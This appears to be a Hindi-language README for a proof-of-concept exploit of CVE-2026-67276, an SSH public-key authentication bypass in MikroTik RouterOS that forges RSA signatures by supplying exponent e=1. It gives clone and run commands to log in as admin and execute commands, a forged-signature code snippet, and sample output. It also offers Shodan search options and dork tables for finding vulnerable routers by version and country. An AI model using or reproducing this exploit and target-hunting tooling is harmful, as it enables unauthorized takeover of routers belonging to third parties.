
CVE-2026-67276 MikroTik RouterOS SSH प्रमाणीकरण बाईपास एक्सप्लॉइट
MikroTik RouterOS SSH सार्वजनिक कुंजी प्रमाणीकरण बाईपास - निजी कुंजी की आवश्यकता नहीं
CVE-2026-67276 (MikroTrick) के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो MikroTik RouterOS SSH कार्यान्वयन में एक गंभीर प्रमाणीकरण बाईपास भेद्यता है, जो हमलावरों को उनकी निजी कुंजी के बिना किसी भी उपयोगकर्ता के रूप में प्रमाणित करने की अनुमति देता है।
| विवरण | जानकारी |
|---|---|
| CVE ID | CVE-2026-67276 |
| गंभीरता | गंभीर (CVSS 9.8) |
| CWE | CWE-347 (क्रिप्टोग्राफिक हस्ताक्षर का अनुचित सत्यापन) |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण | कोई नहीं |
| जटिलता | कम |
| प्रभाव | पूर्ण डिवाइस समझौता |
CVE-2026-67276 एक बड़ी हमला श्रृंखला का हिस्सा है जिसे CERT PL द्वारा "MikroTrick" नाम दिया गया है, जिसे वास्तविक दुनिया में सक्रिय रूप से शोषित होते देखा गया था:
| CVE | प्रकार | विवरण |
|---|---|---|
| CVE-2026-67276 | प्रमाणीकरण बाईपास | घातांक जालसाजी के माध्यम से SSH सार्वजनिक कुंजी प्रमाणीकरण बाईपास |
| CVE-2026-86060 | विशेषाधिकार वृद्धि | उपयोगकर्ता नाम के माध्यम से तर्क इंजेक्शन |
| CVE-2026-67279 | प्रमाणीकरण बाईपास | पूर्ण userauth के बिना SSH कनेक्शन |
| CVE-2026-67277 | सूचना प्रकटीकरण | bandwidth-test के माध्यम से कर्नेल मेमोरी रिसाव |
| CVE-2026-67278 | हस्ताक्षर बाईपास | X.509 गलत हस्ताक्षर स्वीकृति |
| CVE-2026-67281 | फ़ाइल पठन | jsproxy के माध्यम से WebFig रूट फ़ाइल पठन |
RouterOS SSH प्रमाणीकरण में सार्वजनिक कुंजी को मान्य करने के तरीके में एक गंभीर दोष है:
{ssh-rsa, e=1, n=victim_modulus} प्रस्तुत करने से सत्यापन तुच्छ हो जाता हैमानक RSA सत्यापन: sig^65537 mod n == अपेक्षित (निजी कुंजी की आवश्यकता है)
शोषित सत्यापन: sig^1 mod n == sig (कोई निजी कुंजी आवश्यक नहीं!)
घातांक e=1 के साथ, हस्ताक्षर सत्यापन बन जाता है:
sig^1 mod n == sig
इसका मतलब है कि "हस्ताक्षर" केवल EMSA-PKCS1-v1_5 एन्कोडेड संदेश ही है - जो कोई भी पीड़ित के सार्वजनिक मापांक को जानता है उसके द्वारा निर्माण योग्य।
n (.pub फ़ाइल, पिछले कनेक्शन आदि से)| शाखा | भेद्य सीमा | पैच किया गया संस्करण |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
| 7.x स्थिर | 7.0 - 7.23.3 | 7.23.4+ |
| 7.x परीक्षण | 7.24.0 - 7.24.1 | 7.24.2+ |
# रिपॉजिटरी क्लोन करें
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# निर्भरताएँ स्थापित करें
pip install paramiko cryptography
# बुनियादी एक्सप्लॉइट - स्वचालित रूप से कुंजी उत्पन्न करता है, संस्करण का पता लगाता है
python3 full_exploit.py --host 192.168.88.1 --username admin
# प्रमाणीकरण के बाद कमांड निष्पादित करें
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# कस्टम पोर्ट
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# यदि आपके पास पीड़ित की सार्वजनिक कुंजी फ़ाइल है
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# या मापांक सीधे प्रदान करें
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
एक्सप्लॉइट स्वचालित रूप से RouterOS संस्करण का पता लगाता है और भेद्यता स्थिति की जाँच करता है:
# गैर-MikroTik या अज्ञात संस्करण पर भी एक्सप्लॉइट को बलपूर्वक चलाएँ
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host लक्ष्य RouterOS IP/होस्टनाम (आवश्यक)
--port SSH पोर्ट (डिफ़ॉल्ट: 22)
--username लक्ष्य RouterOS उपयोगकर्ता नाम (आवश्यक)
--pubkey RSA सार्वजनिक कुंजी फ़ाइल (प्रदान न करने पर स्वचालित रूप से उत्पन्न होती है)
--modulus-hex हेक्स के रूप में RSA मापांक (--pubkey का विकल्प)
--algos हस्ताक्षर एल्गोरिदम (डिफ़ॉल्ट: ssh-rsa,rsa-sha2-256)
--exec प्रमाणीकरण के बाद निष्पादित करने के लिए कमांड
--exp-enc घातांक एन्कोडिंग: कैनोनिकल (1 बाइट) या संरेखित (3 बाइट)
--timeout कनेक्शन टाइमआउट (डिफ़ॉल्ट: 15.0 सेकंड)
--skip-version-check RouterOS संस्करण सत्यापन छोड़ें
--shodan-dorks Shodan खोज क्वेरी प्रिंट करें
--shodan-search लक्ष्यों के लिए Shodan API खोजें
--shodan-key Shodan API कुंजी
--shodan-query कस्टम Shodan क्वेरी
--shodan-limit Shodan परिणाम सीमा (डिफ़ॉल्ट: 100)
python3 full_exploit.py --shodan-dorks
# बुनियादी खोज
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# कस्टम क्वेरी
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
| लक्ष्य | क्वेरी |
|---|---|
| सभी MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox एक्सपोज़्ड | port:8291 |
| WebFig पैनल | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| देश के अनुसार | MikroTik country:US |
| भेद्य संकेत | MikroTik ("6.49" OR "7.23" OR "7.24.0") |
string "ssh-rsa"
mpint e (सार्वजनिक घातांक) <- हमलावर e=1 प्रदान करता है
mpint n (मापांक) <- पीड़ित का वास्तविक मापांक
# "हस्ताक्षर" केवल EMSA-PKCS1-v1_5 एन्कोडेड प्रमाणीकरण डेटा है
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # यह e=1 होने पर मान्य हस्ताक्षर है
rsa-sha2-256/512 एल्गोरिदम के लिए भी ssh-rsa ही रहता है[*] CVE-2026-67276 MikroTrick एक्सप्लॉइट
[*] लक्ष्य: 192.168.88.1:22
[*] RouterOS संस्करण का पता लगा रहा है...
[*] SSH बैनर: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS संस्करण: 7.23.3
[+] संस्करण भेद्य है - CVE-2026-67276 लागू होता है
[*] 2048-बिट RSA कुंजी जोड़ी उत्पन्न कर रहा है...
[+] निजी कुंजी सहेजी गई: /path/to/exploit_key
[+] सार्वजनिक कुंजी सहेजी गई: /path/to/exploit_key.pub
[*] मापांक: 2048-बिट | जाली e=1
[*] घातांक एन्कोडिंग: कैनोनिकल (01)